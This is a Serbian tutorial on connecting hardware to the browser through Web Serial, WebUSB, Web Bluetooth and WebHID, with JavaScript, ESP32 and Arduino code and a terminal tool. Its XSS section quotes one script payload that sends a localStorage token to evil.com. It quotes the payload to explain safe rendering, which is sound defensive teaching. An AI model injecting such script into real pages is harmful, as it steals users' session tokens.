Sveobuhvatni praktični vodič kroz povezivanje hardvera sa web browserom: Web Serial, WebUSB i Web Bluetooth API, ESP32/Arduino firmware, HEX mod i gotov Hardware Terminal web alat.

Kategorija: Tutorijali | Težina: Srednja do napredna | Platforma: Desktop browseri uz feature detection; Android uz ograničenja po API-ju
Tema: Web Serial, WebUSB, Web Bluetooth, WebHID, Arduino, ESP32 i servisna dijagnostika | Autor: Zoran Knežević
Praktični alat: Dostupan odmah na /alati/hardware-terminal
Decenijama je povezivanje sa mikrokontrolerima i servisnim uređajima zahtevalo desktop aplikacije. Bilo da podešavate Arduino, analizirate telemetriju sa ESP32 čipa, čitate NMEA koordinate sa GPS modula ili šaljete AT komande industrijskom modemu, prvi korak je uvek bio isti: instalacija programa poput PuTTY, Tera Term, minicom ili Arduino IDE Serial Monitora.
Danas moderni web browseri bazirani na Chromium platformi poseduju skup moćnih hardverskih interfejsa: Web Serial, WebUSB, Web Bluetooth i WebHID.
Oni omogućavaju da otvorite običnu web stranicu, kliknete na dugme, izaberete fizički uređaj kroz sistemski bezbednosni dijalog i započnete dvosmernu komunikaciju direktno iz Javascript koda.
Fizički uređaj (Arduino / ESP32 / GPS / USB-UART)
│
▼ (USB kabl / Bluetooth radio)
Operativni sistem (Drajveri: CH340 / CP210x / FTDI / BLE)
│
▼
Chromium Browser (Chrome, Edge, Opera, Brave)
│
▼ (Web Serial / WebUSB / Web Bluetooth / WebHID API)
Lokalna Web Aplikacija (Hardware Terminal)
Ovo nije koncept u oblaku gde uređaj šalje podatke serveru, pa server browseru. Komunikacija se odvija isključivo lokalno na vašem računaru ili telefonu. Podaci sa fizičkog uređaja ostaju u memoriji tab-a i ne napuštaju vaš računar.
Za potrebe ovog tutorijala razvili smo potpuno funkcionalan, otvoren i praktičan web alat: Hardware Terminal. U ovom vodiču prolazimo kroz kompletnu arhitekturu, bezbednosni model, firmware kod za ESP32 i Arduino, kao i sve tehničke nijanse i ograničenja koja morate poznavati pre nego što se upustite u web hardverski razvoj.
Tabela kompatibilnosti i podrška u browserima
Hardverski web API-ji spadaju u kategoriju Limited Availability mogućnosti. Nisu deo univerzalnog web standarda koji podjednako radi u svakom pregledaču.
| Funkcija | API | Tipičan hardver | Korisnička dozvola | HTTPS zahtev | Podrška browsera |
|---|---|---|---|---|---|
| Serijska veza | Web Serial API | Arduino, ESP32, USB-UART (CH340/FTDI/CP2102), GPS, 3D printeri | Da (User Gesture) | Da (ili localhost) | Chrome 89+, Edge 89+, Opera, Firefox 151+ (Desktop), Chrome Android 138+ (Web Serial preko Bluetooth RFCOMM-a) |
| Nestandardni USB | WebUSB API | Proizvođački USB uređaji, razvojne pločice sa custom endpointima | Da (User Gesture) | Da (ili localhost) | Chrome 61+, Edge 79+, Opera, Chrome Android |
| Bluetooth LE | Web Bluetooth API | BLE senzori, pametne vage, fitness narukvice, Nordic UART | Da (User Gesture) | Da (ili localhost) | Chrome 56+, Edge 79+, Chrome Android (nije podržano na iOS Safariju) |
| HID uređaji | WebHID API | Namenski kontroleri, industrijski paneli, Stream Deck, pedale | Da (User Gesture) | Da (ili localhost) | Chrome 89+, Edge 89+, Opera (samo Desktop platforme) |
⚠️ Važna činjenica o podršci (Firefox i Safari): Apple Safari na macOS i iOS platformama uopšte ne podržava Web Serial, WebUSB niti WebHID. Sa druge strane, Mozilla je od 19. maja 2026. u Firefoxu 151 omogućila Web Serial na desktop platformama, dok WebUSB i WebHID Firefox trenutno ne podržava. Prema tome, Web Serial danas radi i u Chromium browserima i u modernom Firefoxu na računaru, dok na iPhone/iPad uređajima hardverski web pristup ostaje blokiran.
Kako proveriti podršku u kodu (Feature Detection)
Nikada nemojte pretpostavljati da je API dostupan. Pre pozivanja bilo koje funkcije proverite postojanje odgovarajućeg interfejsa na objektu navigator:
const hardwareSupport = {
serial: 'serial' in navigator,
usb: 'usb' in navigator,
bluetooth: 'bluetooth' in navigator,
hid: 'hid' in navigator,
isSecureContext: window.isSecureContext
};
if (!hardwareSupport.serial) {
console.warn('Web Serial nije dostupan u ovom browseru. Preporučujemo Google Chrome ili Microsoft Edge.');
}
U našem alatu Hardware Terminal, svaki transport na vrhu ekrana jasno prikazuje statusnu značku da li vaš trenutni pregledač podržava izabrani protokol.
Bezbednosni model: Zašto web stranica ne može tiho da preuzme port
Jedna od najvećih zabluda jeste strah da bi bilo koji zlonamerni sajt u pozadini mogao da pošalje maliciozni firmware ili obriše mikrokontroler.
Chromium bezbednosni model implementira tri stroga nivoa zaštite:
Zahtev za eksplicitnom korisničkom akcijom (User Gesture / Transient Activation)
Funkcije poput navigator.serial.requestPort() ili navigator.usb.requestDevice() ne mogu biti pozvane u window.onload skripti ili u pozadinskom tajmeru. Browser će momentalno odbiti poziv i izbaciti SecurityError ukoliko poziv nije direktna posledica fizičkog klika korisnika na dugme ili pritiska na tastaturu.
Sistemski dijalog browsera (Browser Permission Dialog)
Kada korisnik klikne na dugme za povezivanje, browser preuzima kontrolu nad ekranom i prikazuje listu dostupnih fizičkih portova ili uređaja. Web stranica ne može da izabere uređaj umesto korisnika niti može da sakrije dijalog. Korisnik mora svesno kliknuti na željeni uređaj i potvrditi opciju "Connect".
┌────────────────────────────────────────────────────────┐
│ tutorijali.app wants to connect to a serial port │
├────────────────────────────────────────────────────────┤
│ ● CP2102 USB to UART Bridge Controller (COM3) │
│ ○ USB-SERIAL CH340 (COM5) │
│ │
│ [Cancel] [Connect] │
└────────────────────────────────────────────────────────┘
Bezbedan kontekst (Secure Context / HTTPS)
Hardverski API-ji su strogo zaključani za bezbedno poreklo. Rade isključivo preko šifrovane HTTPS veze (kao što je https://tutorijali.app) ili na lokalnoj razvojnoj mašini (http://localhost i http://127.0.0.1). Pristup preko običnog HTTP protokola je sistemski onemogućen.
Zabluda o drajverima: Da li je browser čudotvoran?
Često se u marketinškim tekstovima može pročitati tvrdnja: "Povežite Arduino bez ikakvih drajvera direktno preko weba!"
Ova tvrdnja je tehnički netačna.
Browser je aplikacija na korisničkom nivou (User Space). On komunicira sa operativnim sistemom preko standardnih sistemskih API-ja.
Arduino / ESP32 pločica
│ (USB kabl)
USB-UART čip na pločici (CH340 / CP2102 / FT232R)
│
OPERATIVNI SISTEM (Windows / Linux / macOS)
▲
│ POTREBAN OS DRAJVER
▼
Virtualni serijski port (COM3 u Windows-u, /dev/ttyUSB0 u Linux-u)
▲
│ Web Serial API
Chromium Browser (Chrome / Edge)
- Ako vaš Windows računar nema instaliran drajver za popularni kineski CH340 ili CP2102 čip, operativni sistem u Device Manager-u prikazaće žuti znak uzvika ("Unknown Device").
- U tom slučaju, browser u svom dijalogu uopšte neće videti taj port.
- Prema tome: Web Serial vas oslobađa instalacije posebnog desktop terminala (PuTTY, Arduino IDE), ali operativni sistem i dalje mora imati funkcionalan drajver za USB-to-UART konverter.
💡 Linux i prava pristupa: Na Linux distribucijama (Ubuntu, Debian, Fedora), serijski portovi pripadaju grupi
dialoutiliuucp. Ako se uređaj pojavi u listi, ali dobijete grešku pri otvaranju, vaš korisnički nalog mora biti dodat u tu grupu:sudo usermod -a -G dialout $USER, nakon čega je potrebno ponovno prijavljivanje na sistem.
Web Serial vs WebUSB vs Web Bluetooth vs WebHID
Jedno od najčešćih pitanja razvojnih inženjera jeste koji API upotrebiti za konkretan projekat. Ova tabela pruža preciznu odluku na osnovu arhitekture uređaja:
| Ako vaš uređaj... | Pravilan izbor | Zašto? |
|---|---|---|
| Povezuje se preko USB kabla i stvara virtuelni COM port (ili /dev/ttyACM) | Web Serial API | Operativni sistem već upravlja baferima i CDC drajverom; browser dobija jednostavan stream bajtova. |
| Koristi ESP32 ili Arduino za slanje telemetrije i prijem komandi | Web Serial API | Najstabilniji, najlakši za implementaciju i podržava standardne baud brzine. |
| Koristi Bluetooth Low Energy (BLE) sa GATT servisima i karakteristikama | Web Bluetooth API | Namenjen za BLE GATT profile (npr. Nordic UART servis, pulsmetri, senzori). |
| Koristi klasični Bluetooth SPP (Serial Port Profile) preko RFCOMM na Androidu | Web Serial API | Chrome 138+ na Androidu omogućava Web Serial preko uparenih Bluetooth RFCOMM uređaja. |
| Predstavlja custom USB pločicu sa specifičnim vendor kontrolnim i bulk endpointima | WebUSB API | Koristi se kada uređaj ne pripada standardnoj klasi (nije serijski, nije tastatura, nije audio). |
| Predstavlja programabilni tastaturni kontroler, industrijski panel ili Stream Deck | WebHID API | Omogućava slanje i prijem definisanih HID report paketa bez remećenja sistemske tastature. |
| Predstavlja standardnu web kameru, mikrofon ili gamepad | Standardni Web API | Koristite navigator.mediaDevices.getUserMedia() ili navigator.getGamepads(). |
Arhitektura zajedničkog transportnog sloja
Kada pravite ozbiljnu aplikaciju, najveća greška je pisanje četiri odvojena terminala sa dupliranom logikom za crtanje, čuvanje logova i parsiranje komandi.
Pravilan inženjerski pristup jeste kreiranje zajedničke abstrakcije: HardwareTransport.
UI komponenta ne sme da zna da li bajt 0x41 ('A') dolazi sa fizičkog COM porta, Bluetooth LE notifikacije ili simuliranog generatora podataka. UI radi sa Uint8Array nizom i prosleđuje komande u istom formatu:
export interface HardwareDeviceInfo {
name: string;
transport: 'serial' | 'demo' | 'bluetooth' | 'usb' | 'hid';
vendorId?: string;
productId?: string;
details?: string;
}
export interface HardwareTransport {
readonly transportType: string;
connect(): Promise<void>;
disconnect(): Promise<void>;
write(data: Uint8Array): Promise<void>;
onData(callback: (data: Uint8Array) => void): void;
onDisconnect(callback: () => void): void;
getInfo(): HardwareDeviceInfo;
isConnected(): boolean;
}
Ovakva arhitektura omogućava da u našem alatu Hardware Terminal jednim klikom prebacite vezu sa fizičkog USB porta na Bluetooth ili Demo simulator, dok sve funkcije (istorija komandi, HEX prikaz, eksport, grafikon) ostaju potpuno identične.
Web Serial u praksi: Implementacija od nule
Pogledajmo kako izgleda stvarna, robusna implementacija čitanja i pisanja na serijski port korišćenjem modernih JavaScript Stream-ova.
Povezivanje i konfiguracija porta
let port = null;
let reader = null;
let keepReading = false;
async function connectSerial(baudRate = 115200) {
// 1. Zatraži dozvolu korisnika
port = await navigator.serial.requestPort();
// 2. Otvori port sa parametrima
await port.open({
baudRate: baudRate,
dataBits: 8,
stopBits: 1,
parity: 'none',
flowControl: 'none',
bufferSize: 4096
});
keepReading = true;
startReadLoop();
}
Petlja za čitanje stream-a (Read Loop) sa pravilnim zaključavanjem
Čitanje serijskih podataka u browseru vrši se preko ReadableStreamDefaultReader. Kada reader preuzme stream (getReader()), stream je zaključan za sve ostale potrošače sve dok se eksplicitno ne otpusti.
async function startReadLoop() {
while (port && port.readable && keepReading) {
try {
reader = port.readable.getReader();
while (keepReading) {
const { value, done } = await reader.read();
if (done) {
// Uređaj je zatvorio stream ili je isključen
break;
}
if (value) {
// value je Uint8Array sirovih bajtova
handleIncomingBytes(value);
}
}
} catch (err) {
console.warn('Greška u toku čitanja porta:', err);
break;
} finally {
if (reader) {
reader.releaseLock();
reader = null;
}
}
}
// Ako smo izašli iz petlje, zatvori port
await closePort();
}
Slanje komandi (WritableStream)
Prilikom slanja podataka na mikrokontroler, tekst se prvo mora enkodirati u bajtove pomoću TextEncoder, uz dodavanje željenog linijskog završetka (najčešće \n za ESP32 ili \r\n za Arduino):
async function sendCommand(commandText, lineEnding = '\n') {
if (!port || !port.writable) {
throw new Error('Port nije otvoren za upis.');
}
const encoder = new TextEncoder();
const payload = encoder.encode(commandText + lineEnding);
const writer = port.writable.getWriter();
try {
await writer.write(payload);
} finally {
writer.releaseLock();
}
}
Pravilno prekidanje veze (Disconnect Cleanup)
Jedan od najčešćih bagova u web serijskim skriptama jeste nemogućnost ponovnog otvaranja porta nakon prekida veze. To se dešava ako program pokuša da pozove port.close() dok je reader ili writer zaključan.
Ispravan redosled raskida veze glasi:
async function closePort() {
keepReading = false;
if (reader) {
try {
await reader.cancel();
} catch (e) {
/* Ignoriši */
}
try {
reader.releaseLock();
} catch (e) {
/* Ignoriši */
}
reader = null;
}
if (port) {
try {
await port.close();
} catch (err) {
console.warn('Greška pri zatvaranju porta:', err);
}
port = null;
}
}
Glavni ESP32 Demo: Firmware sa telemetrijom i komandama
ESP32 je idealna razvojna platforma za demonstraciju browser komunikacije. Poseduje nativni serijski interfejs, ugrađeni senzor temperature čipa i dovoljno resursa za brzo procesiranje komandi.
Sledeći Arduino/C++ kod omogućava ESP32 modulu da komunicira sa našim web terminalom. Podržava komande:
STATUS- vraća stanje LED diode, uptime i temperaturuLED ONiLED OFF- upravlja ugrađenom plavom LED diodom (GPIO 2)UPTIME- vraća vreme rada u sekundama- Automatski šalje telemetrijsku liniju
TEMP=... HUM=... RPM=...na svake 2 sekunde
/*
* ESP32 Web Serial Servisni Firmware
* Kompatibilan sa Hardware Terminal alatom na tutorijali.app
*/
#define LED_PIN 2
unsigned long lastTelemetryTime = 0;
String inputString = "";
void setup() {
pinMode(LED_PIN, OUTPUT);
digitalWrite(LED_PIN, LOW);
// Pokretanje serijskog porta na 115200 baud
Serial.begin(115200);
while (!Serial) {
; // čekanje na povezivanje
}
Serial.println("ESP32-WROOM-32 Servisni Nod v1.0");
Serial.println("READY");
}
void loop() {
// 1. Čitanje komandi pristiglih iz web browsera
while (Serial.available() > 0) {
char inChar = (char)Serial.read();
if (inChar == '\n' || inChar == '\r') {
if (inputString.length() > 0) {
processCommand(inputString);
inputString = "";
}
} else {
inputString += inChar;
}
}
// 2. Slanje periodične telemetrije na svake 2 sekunde
if (millis() - lastTelemetryTime >= 2000) {
lastTelemetryTime = millis();
// Čitanje interne temperature ESP32 čipa (ako je podržano)
// ili simulacija preciznog analognog senzora
float simulatedTemp = 24.2 + (sin(millis() / 5000.0) * 1.8);
int simulatedHum = 48 + (int)(cos(millis() / 8000.0) * 5);
int simulatedRpm = 1200 + (int)(sin(millis() / 3000.0) * 60);
Serial.print("TEMP=");
Serial.print(simulatedTemp, 1);
Serial.print(" HUM=");
Serial.print(simulatedHum);
Serial.print(" RPM=");
Serial.print(simulatedRpm);
Serial.print(" UPTIME=");
Serial.println(millis() / 1000);
}
}
void processCommand(String cmd) {
cmd.trim();
cmd.toUpperCase();
if (cmd == "STATUS") {
Serial.print("OK STATUS LED=");
Serial.print(digitalRead(LED_PIN) ? "ON" : "OFF");
Serial.print(" UPTIME=");
Serial.print(millis() / 1000);
Serial.println("s");
} else if (cmd == "LED ON" || cmd == "LED=1") {
digitalWrite(LED_PIN, HIGH);
Serial.println("OK LED=ON");
} else if (cmd == "LED OFF" || cmd == "LED=0") {
digitalWrite(LED_PIN, LOW);
Serial.println("OK LED=OFF");
} else if (cmd == "UPTIME") {
Serial.print("UPTIME=");
Serial.print(millis() / 1000);
Serial.println("s");
} else if (cmd == "RESET" || cmd == "REBOOT") {
Serial.println("RESETTING DEVICE...");
ESP.restart();
} else {
Serial.print("UNKNOWN COMMAND: ");
Serial.println(cmd);
}
}
Kada povežete ovakav ESP32 na računar i otvorite Hardware Terminal, terminal će automatski prepoznati parove TEMP=24.5 i početi da iscrtava grafikon temperature u realnom vremenu, a klikom na makro dugme "LED ON" dioda na vašem stolu će se momentalno upaliti.
Arduino primer: Jednostavni serijski kontroler
Ukoliko radite sa klasičnom Arduino Uno, Nano ili Mega pločicom, kod je jednako čist. Arduino najčešće koristi 9600 ili 115200 baud sa CRLF (\r\n) završetkom:
/*
* Arduino Uno Web Terminal Kontroler
*/
const int ledPin = 13;
String command = "";
void setup() {
pinMode(ledPin, OUTPUT);
Serial.begin(115200);
Serial.println("ARDUINO UNO READY");
}
void loop() {
if (Serial.available() > 0) {
char c = Serial.read();
if (c == '\n' || c == '\r') {
command.trim();
if (command.length() > 0) {
if (command.equalsIgnoreCase("LED ON")) {
digitalWrite(ledPin, HIGH);
Serial.println("OK LED=1");
} else if (command.equalsIgnoreCase("LED OFF")) {
digitalWrite(ledPin, LOW);
Serial.println("OK LED=0");
} else if (command.equalsIgnoreCase("READ")) {
int val = analogRead(A0);
Serial.print("ANALOG0=");
Serial.println(val);
} else {
Serial.print("ECHO: ");
Serial.println(command);
}
command = "";
}
} else {
command += c;
}
}
}
Tekstualni vs HEX mod rada
Kod industrijske opreme, senzora i mernih instrumenata, komunikacija se retko odvija u čistom ASCII tekstu. Većina protokola koristi binarne pakete gde svaki bajt ima striktno značenje (zaglavlje, dužina, instrukcija, CRC kontrolna suma).
Uzmimo primer binarne komande za uključenje releja:
0xAA 0x01 0x00 0xFF 0x0D
Ako terminal pokušava da prikaže ove bajtove kao ASCII tekst:
- Bajt
0xAAnije standardan ASCII karakter - Bajt
0x00je NUL terminator koji u mnogim bibliotekama prekida ispis teksta - Bajt
0x0Dje Carriage Return koji vraća kursor na početak linije i briše prethodne podatke
Zbog toga naš Hardware Terminal poseduje trenutan prelaz između TEXT i HEX prikaza:
TEXT PRIKAZ:
12:30:14.102 TX STATUS
12:30:14.131 RX READY
HEX PRIKAZ:
12:30:14.102 TX 53 54 41 54 55 53 0A
12:30:14.131 RX 52 45 41 44 59 0D 0A
Validacija HEX unosa pre slanja
Kada je terminal u HEX modu, korisnik može uneti komandu poput AA 01 FF. Aplikacija mora striktno validirati format pre slanja:
- Uklanja višak razmaka
- Proverava da li je ukupan broj heksadecimalnih karaktera paran (svaki bajt mora imati 2 cifre)
- Proverava da li se u unosu nalaze nedozvoljeni karakteri van opsega
0-9iA-F - Tek nakon uspešne validacije pretvara unos u
Uint8Arrayi šalje ga uređaju
Ako unos nije validan (npr. neparan broj cifara ili slovo 'Z'), aplikacija prikazuje jasnu poruku o grešci i sprečava slanje korumpiranog paketa na fizički uređaj.
Bezbednost profila uređaja: Zašto eval() nije dozvoljen
Kako bi korisnik mogao lako da sačuva podešavanja za ESP32, Arduino ili GPS prijemnik, aplikacija podržava Profile uređaja.
Profil sadrži:
- Naziv uređaja i opis
- Izabrani transport (Serial, Bluetooth, USB, HID)
- Baud brzinu, paritet, stop bitove i linijski završetak
- Predefinisane tastere sa makroima
- Konfiguraciju telemetrijskog parsera
{
"id": "esp32-custom",
"name": "ESP32 DevKit",
"transport": "serial",
"serial": {
"baudRate": 115200,
"dataBits": 8,
"stopBits": 1,
"parity": "none",
"flowControl": "none",
"lineEnding": "lf"
},
"macros": [
{ "id": "m1", "label": "STATUS", "command": "STATUS" },
{ "id": "m2", "label": "LED ON", "command": "LED ON" }
],
"parser": {
"type": "key-value",
"delimiter": "=",
"targetMetric": "TEMP"
}
}
🔒 Zlatno pravilo bezbednosti: PROFIL JE PODATAK, A NE KOD.
Nikada nemojte dozvoliti da profil uređaja sadrži proizvoljan JavaScript kôd (npr.eval(profile.parserCode)ilinew Function(...)). Ukoliko bi korisnik preuzeo profil sa nepouzdanog foruma ili GitHub repozitorijuma, zlonamerni skript bi mogao ukrasti lokalne kolačiće ili zloupotrebiti pristup hardveru. U našoj aplikaciji uvoz profila je striktno validiran kroz Zod šemu koja dozvoljava isključivo deklarativne podatke i ograničen skup fabričkih parser tipova.
XSS zaštita: Tretiranje hardverskog toka kao nepouzdanog unosa
Jedna od najopasnijih grešaka u razvoju web terminala jeste naivno renderovanje pristiglih serijskih podataka kroz innerHTML ili React-ov dangerouslySetInnerHTML.
Zamislite sledeći scenario: mikrokontroler povezujete na nepoznatu mašinu ili testirate serijski modem. Uređaj šalje sledeći tekstualni niz:
<script>fetch('https://evil.com/steal?data=' + localStorage.getItem('token'))</script>
Ako vaš terminal renderuje ovaj string kao HTML, skripta će se izvršiti u kontekstu vašeg domena.
U Hardware Terminalu, svaki primljeni bajt i svaki dekodirani string se renderuju isključivo kao obični tekstualni DOM nodovi (textContent u vanila JS-u ili standardni {log.text} u React-u). Čak i ako uređaj pošalje pun HTML/JS kod, on će biti prikazan kao bezbedan čitljiv tekst, bez ikakvog izvršavanja.
Ostale realne primene u praksi
Web Serial i srodni hardverski API-ji nisu rezervisani samo za hobi pločice. U realnom inženjerskom okruženju oni rešavaju čitav niz svakodnevnih servisnih zadataka:
GPS prijemnici i NMEA telemetrija
Većina USB i serijskih GPS prijemnika (u-blox, MediaTek) po uključenju automatski šalje ASCII rečenice na 9600 baud-a:
$GPGGA,123519,4448.123,N,02027.456,E,1,08,0.9,116.2,M,45.3,M,,*47
$GPRMC,123519,A,4448.123,N,02027.456,E,022.4,084.4,230326,003.1,W*6A
Web terminal omogućava trenutnu inspekciju prijema satelitskog signala, proveru broja vidljivih satelita i validaciju GPS koordinata na terenu direktno sa laptopa.
4G/LTE modemi i AT komande
Kada podešavate industrijski 4G ruter ili Quectel/SIMCom modem, povezivanjem na njegov USB servisni port možete odmah testirati signal i registraciju na mrežu:
AT-> očekivani odgovor:OKATI-> vraća model modema i verziju firmware-aAT+CSQ-> jačina primljenog signala (RSSI)AT+CPIN?-> status SIM kartice (READY ili zaključana PIN-om)
CNC mašine i 3D printeri (GRBL konzola)
GRBL kontroleri za laserske graverke i glodalice, kao i Marlin firmware na 3D printerima, komuniciraju preko serijskog porta na 115200 ili 250000 baud-a. Web terminal može poslužiti za slanje osnovnih G-code komandi:
$$-> ispis svih konfiguracionih parametara$H-> pokretanje postupka referenciranja (homing)G28-> povratak na nultu tačku
Koliko daleko ovo ide? ESP Web Tools i flešovanje firmware-a iz browsera
Mnogi inženjeri se iznenade kada saznaju da Web Serial ne služi samo za čitanje teksta. On omogućava prenos binarnog koda tolikom brzinom i pouzdanošću da je moguće kompletno flešovati novi firmware na mikrokontroler direktno iz Chrome-a.
Najbolji primer u svetu otvorenog koda jeste ESP Web Tools (zvanični projekat razvijen pod okriljem ESPHome i Home Assistant zajednice):
Korisnik u browseru (Chrome na računaru)
│
▼ (Web Serial API na 460800 baud)
ROM Bootloader čipa (ESP32 / ESP8266)
│
▼
Brisanje flash memorije i upis novog .bin firmware-a
│
▼
Automatsko povezivanje na Wi-Fi (Improv Wi-Fi protokol preko serijske veze)
Preko ovog projekta, korisnik može kupiti pametnu utičnicu ili ESP32 senzor, otvoriti web stranicu proizvođača, kliknuti "Install" i browser će sam uvesti čip u bootloader mod, obrisati staru memoriju, upisati novi operativni sistem i ponuditi unos lozinke za kućni Wi-Fi.
To je definitivan dokaz zrelosti i pouzdanosti Web Serial tehnologije.
Šta browser NE MOŽE: Razumevanje realnih granica
Kako ne bismo stvarali nerealna očekivanja, neophodno je jasno definisati šta je van domašaja web pregledača:
- Browser ne zna protokol uređaja sam od sebe: Web Serial vam daje cevast kanal za prenos bajtova (transport). On ne zna da li bajtovi
0xAA 0x01predstavljaju temperaturu, pritisak u bojleru ili komandu za motor. Protokol morate definisati vi kroz aplikativnu logiku ili profil uređaja. - Nema zaobilaženja operativnog sistema: Ako operativni sistem ne vidi fizički uređaj, browser ga ne može pronaći.
- Nema pristupa bez korisničke dozvole: Sajt nikada ne može u tišini da skenira vaše USB portove dok surfujete internetom.
- Nema podrške na iOS platformi: Zbog Apple-ovih restrikcija prema WebKit endžinu, ni Chrome ni Safari na iPhone/iPad uređajima ne mogu komunicirati preko USB serijskih adaptera niti Web Bluetooth-a.
Često postavljana pitanja (FAQ)
Da li Web Serial zahteva instalaciju posebnog programa?
Ne. Web Serial danas podržavaju moderni Chromium browseri, a od Firefox 151 i Firefox na desktop platformama. Ostali hardverski API-ji imaju drugačiju matricu podrške. Nije potrebna instalacija desktop programa poput PuTTY ili Arduino IDE-a.
Da li su potrebni USB drajveri?
Da. Operativni sistem računara mora prepoznati USB-UART čip na vašoj pločici (npr. CH340, CP2102, FTDI). Web Serial koristi virtualni COM port koji obezbeđuje operativni sistem.
Da li mogu koristiti Hardware Terminal na Android telefonu?
Da, ali uz važnu napomenu: Chrome 138 na Androidu uveo je podršku za Web Serial preko Bluetooth RFCOMM veze. Podrška za direktne USB OTG serijske adaptere na mobilnom Chrome-u zavisi od konkretne verzije i platforme. Međutim, naš Demo Simulator radi na svakom telefonu i omogućava testiranje svih funkcija terminala.
Da li podaci sa mog mikrokontrolera odlaze na internet?
U našoj implementaciji na tutorijali.app - apsolutno ne. Sve kalkulacije, baferovanje logova, iscrtavanje grafikona i izvoz u TXT/CSV/JSON fajlove izvršavaju se 100% lokalno u memoriji vašeg web pregledača.
Da li mogu sačuvati primljene logove za analizu?
Da. Hardware Terminal omogućava trenutan lokalni izvoz zapisa u tri standardna formata: čisti tekstualni fajl (.TXT), tabelarni format za Excel (.CSV) ili strukturirani JSON (.JSON). Fajlovi se generišu preko lokalnog Blob objekta bez učešća servera.
Zvanični izvori i tehnička dokumentacija
- Chrome for Developers - Read from and write to a serial port (Web Serial)
- MDN Web Docs - Web Serial API Reference
- WICG Web Serial API Specification (Draft Community Report)
- Chrome for Developers - Access USB Devices on the Web (WebUSB)
- MDN Web Docs - Web Bluetooth API Reference
- Chrome for Developers - Connecting to uncommon HID devices (WebHID)
- ESP Web Tools - Zvanični projekat i dokumentacija
- Web Incubator Community Group (WICG) Repozitorijumi
Podelite vaše utiske, pitanja ili savete u vezi sa ovim člankom.